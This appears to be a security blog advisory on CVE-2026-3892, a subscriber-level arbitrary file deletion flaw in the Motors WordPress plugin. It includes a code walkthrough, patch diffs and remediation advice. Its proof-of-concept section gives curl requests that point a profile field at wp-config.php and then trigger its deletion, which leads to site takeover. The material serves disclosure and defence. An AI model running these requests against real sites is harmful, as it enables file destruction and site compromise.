Motors – Car Dealership & Classified Listings Plugin WordPress plugin banner

CVE-2026-3892: Motors Plugin Arbitrary File Deletion (CVSS 8.1)

CVE-2026-3892 is a CVSS 8.1 High arbitrary file deletion vulnerability in the Motors – Car Dealership & Classified Listings Plugin for WordPress. Any authenticated attacker with at least Subscriber access can set an arbitrary file path in their user profile, then trigger its deletion by uploading a new dealer logo.

Vulnerability Summary

FieldValue
Plugin NameMotors – Car Dealership & Classified Listings Plugin
Plugin Slugmotors-car-dealership-classified-listings
CVE IDCVE-2026-3892
CVSS Score8.1 (High)
Vulnerability TypeAuthenticated (Subscriber+) Arbitrary File Deletion
Affected Versions<= 1.4.107
Patched Version1.4.108
PublishedMay 13, 2026
ResearcherLeonid Semenenko (lsemenenko)
Wordfence AdvisoryLink

Description

The Motors plugin is a popular WordPress plugin for car dealership and classified listing sites. It has over 10,000 active installations.

Versions up to and including 1.4.107 allow any authenticated user to set an arbitrary filesystem path via the profile update handler. When the user uploads a new dealer logo, the plugin deletes the old file using unlink(). Because there is no check that the stored path points to an image within the uploads directory, an attacker can point it at any file on the server.

Deleting wp-config.php is a common attack outcome. WordPress treats a missing wp-config.php as a fresh install. This lets the attacker reconnect the site to an attacker-controlled database and gain full admin access.

Technical Analysis

Root Cause: Unvalidated Path Stored in User Meta

The plugin registers stm_save_user_extra_fields() on the personal_options_update hook (includes/user-extra.php:358). This hook fires when any authenticated user saves their own profile at /wp-admin/profile.php.

// includes/user-extra.php:358–371
add_action( 'personal_options_update', 'stm_save_user_extra_fields' );
add_action( 'edit_user_profile_update', 'stm_save_user_extra_fields' );

function stm_save_user_extra_fields( $user_id ) {
    if ( ! current_user_can( 'edit_user', $user_id ) ) {
        return false;
    }
    // nonce check: update-user_<user_id>
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'update-user_' . $user_id ) ) {
        return false;
    }
    // ...

The authorization check current_user_can('edit_user', $user_id) passes for any user editing their own profile — including subscribers.

Further down, the handler saves stm_dealer_logo_path from POST data directly to user meta with no path validation:

// includes/user-extra.php:437–439
if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
    update_user_meta( $user_id, 'stm_dealer_logo_path', sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) ) );
}

sanitize_text_field() strips HTML tags and extra whitespace. It does not restrict filesystem paths. The attacker can supply any path, such as /var/www/html/wp-config.php.

Trigger: Arbitrary File Deletion via Logo Upload

The attacker-controlled path is used by the become-dealer template (templates/user/private/become-dealer.php:156–168):

// templates/user/private/become-dealer.php:156–168
$user_old_avatar = get_the_author_meta( 'stm_dealer_logo_path', $user_id );
if ( ! empty( $user_old_avatar )
    && $user_new_image_path !== $user_old_avatar
    && file_exists( $user_old_avatar ) ) {

    $args     = array(
        'meta_key'     => 'stm_dealer_logo_path',
        'meta_value'   => $user_old_avatar,
        'meta_compare' => '=',
        'exclude'      => array( $user_id ),
    );
    $users_db = get_users( $args );
    if ( empty( $users_db ) ) {
        unlink( $user_old_avatar );   // ← arbitrary file deleted here
    }
}

When the user submits a new logo via the become-dealer form, the plugin:

  1. Reads the path stored in stm_dealer_logo_path user meta.
  2. Checks that the file exists with file_exists().
  3. Checks that no other user references the same path.
  4. Calls unlink() on the path — with no check that it is within the uploads directory.

Why the Nonce Does Not Prevent Exploitation

The update-user_<user_id> nonce is a standard WordPress nonce embedded in the profile edit form at /wp-admin/profile.php. Any subscriber who can log in can obtain this nonce by loading their own profile page. This is a CSRF token, not an authentication gate.

Admin UI Exposure

The stm_dealer_logo_path field is also rendered as an editable text input in the admin profile UI (includes/user-extra.php:276–279), visible to all users who access /wp-admin/profile.php. This makes it trivially easy to set the malicious path without crafting a raw HTTP request.

Proof of Concept

Disclaimer: This proof of concept is for educational and authorized testing purposes only. Do not use this against systems you do not own or have explicit permission to test.

Prerequisites: WordPress site running Motors plugin <= 1.4.107. Subscriber-level account.

Step 1 — Set the malicious path via the admin profile page.

Log in as the subscriber. Navigate to /wp-admin/profile.php. The page includes hidden inputs including the _wpnonce token. Copy the nonce value, then send:

# Replace <NONCE>, <USER_ID>, and <TARGET_FILE> with real values.
curl -s -X POST 'https://target.example.com/wp-admin/profile.php' \
  -b 'wordpress_logged_in_<hash>=<cookie>' \
  -d '_wpnonce=<NONCE>' \
  -d 'action=update' \
  -d '_wp_http_referer=%2Fwp-admin%2Fprofile.php' \
  -d 'user_id=<USER_ID>' \
  -d 'stm_dealer_logo_path=/var/www/html/wp-config.php'

This saves /var/www/html/wp-config.php as the subscriber’s stm_dealer_logo_path user meta.

Step 2 — Trigger deletion by uploading a new dealer logo.

Submit the become-dealer form with a valid image file. The plugin reads the stored path from user meta and calls unlink() on it.

curl -s -X POST 'https://target.example.com/become-a-dealer/' \
  -b 'wordpress_logged_in_<hash>=<cookie>' \
  -F 'stm_company_name=Test Company' \
  -F 'stm_licence=12345' \
  -F 'stm_location=New York' \
  -F 'stm-avatar=@/tmp/test-logo.jpg;type=image/jpeg'

Step 3 — Verify.

curl -s -o /dev/null -w '%{http_code}' 'https://target.example.com/'

If wp-config.php was deleted, WordPress returns the installation wizard at /wp-admin/setup-config.php. The site is now fully compromised.

Patch Analysis

Version 1.4.108 fixes the vulnerability in two places.

Fix 1 — Path validation before saving to user meta (includes/user-extra.php:442–455):

-if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
-    update_user_meta( $user_id, 'stm_dealer_logo_path', sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) ) );
-}
+if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
+    $raw_path = sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) );
+    if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
+        update_user_meta( $user_id, 'stm_dealer_logo_path', $raw_path );
+    }
+}

The new stm_mvl_is_path_within_uploads filter calls stm_mvl_is_path_within_uploads() in includes/helpers.php:1308. It resolves the real path with realpath() and rejects any path that does not start with the WordPress uploads base directory.

// includes/helpers.php:1308–1325
function stm_mvl_is_path_within_uploads( $path ) {
    if ( ! is_string( $path ) || '' === trim( $path ) ) {
        return true;
    }
    $path = trim( $path );
    $dir  = wp_upload_dir();
    if ( ! empty( $dir['error'] ) ) {
        return false;
    }
    $upload_basedir = $dir['basedir'];
    $real_upload    = realpath( $upload_basedir );
    $real_path      = realpath( $path );
    if ( false === $real_upload || false === $real_path ) {
        return false;
    }
    return 0 === strpos( $real_path . DIRECTORY_SEPARATOR, $real_upload . DIRECTORY_SEPARATOR );
}

Because realpath() resolves symlinks and removes ../ components, this check prevents directory traversal.

Fix 2 — Redundant guard at the deletion point (templates/user/private/become-dealer.php:167):

-if ( empty( $users_db ) ) {
+if ( empty( $users_db ) && apply_filters( 'stm_mvl_is_path_within_uploads', false, $user_old_avatar ) ) {
     unlink( $user_old_avatar );
 }

Even if user meta already contains a malicious path (from before the update), unlink() is now blocked for paths outside the uploads directory.

Fix 3 — UI fields hidden from non-admins (includes/user-extra.php:278–283):

The path input fields are now wrapped in current_user_can('edit_users'), so subscribers no longer see or interact with them in the admin UI.

The same three-part fix is applied to stm_user_avatar_path and stm_dealer_image_path as well.

Timeline

DateEvent
May 13, 2026Wordfence advisory published
May 13, 2026Version 1.4.108 released with the fix
May 14, 2026This blog post published

Remediation

Update Motors – Car Dealership & Classified Listings Plugin to version 1.4.108 or later.

Go to WordPress Admin → Plugins → Installed Plugins, find the Motors plugin, and click Update Now. Or download the patched version directly from wordpress.org.

References

  1. Wordfence Advisory — CVE-2026-3892
  2. CVE-2026-3892 on cve.org
  3. Motors Plugin on wordpress.org
  4. Plugin Trac — Commit history

Frequently Asked Questions

What is CVE-2026-3892?

CVE-2026-3892 is a CVSS 8.1 High severity arbitrary file deletion vulnerability in the Motors – Car Dealership & Classified Listings Plugin for WordPress. Any authenticated attacker with subscriber-level access can delete any file on the server, including wp-config.php.

Which versions of Motors – Car Dealership & Classified Listings Plugin are affected by CVE-2026-3892?

All versions up to and including 1.4.107 are affected. Version 1.4.108 contains the fix.

What can an attacker do with CVE-2026-3892?

An attacker can delete any file on the server. Deleting wp-config.php triggers WordPress reinstallation, allowing the attacker to take full control of the site.

Does an attacker need to be logged in to exploit CVE-2026-3892?

Yes. The attacker must have at least Subscriber-level access to a WordPress account on the target site.

How do I fix CVE-2026-3892 in Motors – Car Dealership & Classified Listings Plugin?

Update Motors – Car Dealership & Classified Listings Plugin to version 1.4.108 or later from the WordPress admin dashboard or wordpress.org.

Has Motors – Car Dealership & Classified Listings Plugin been patched for CVE-2026-3892?

Yes. Version 1.4.108 was released on May 13, 2026 and resolves this vulnerability.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee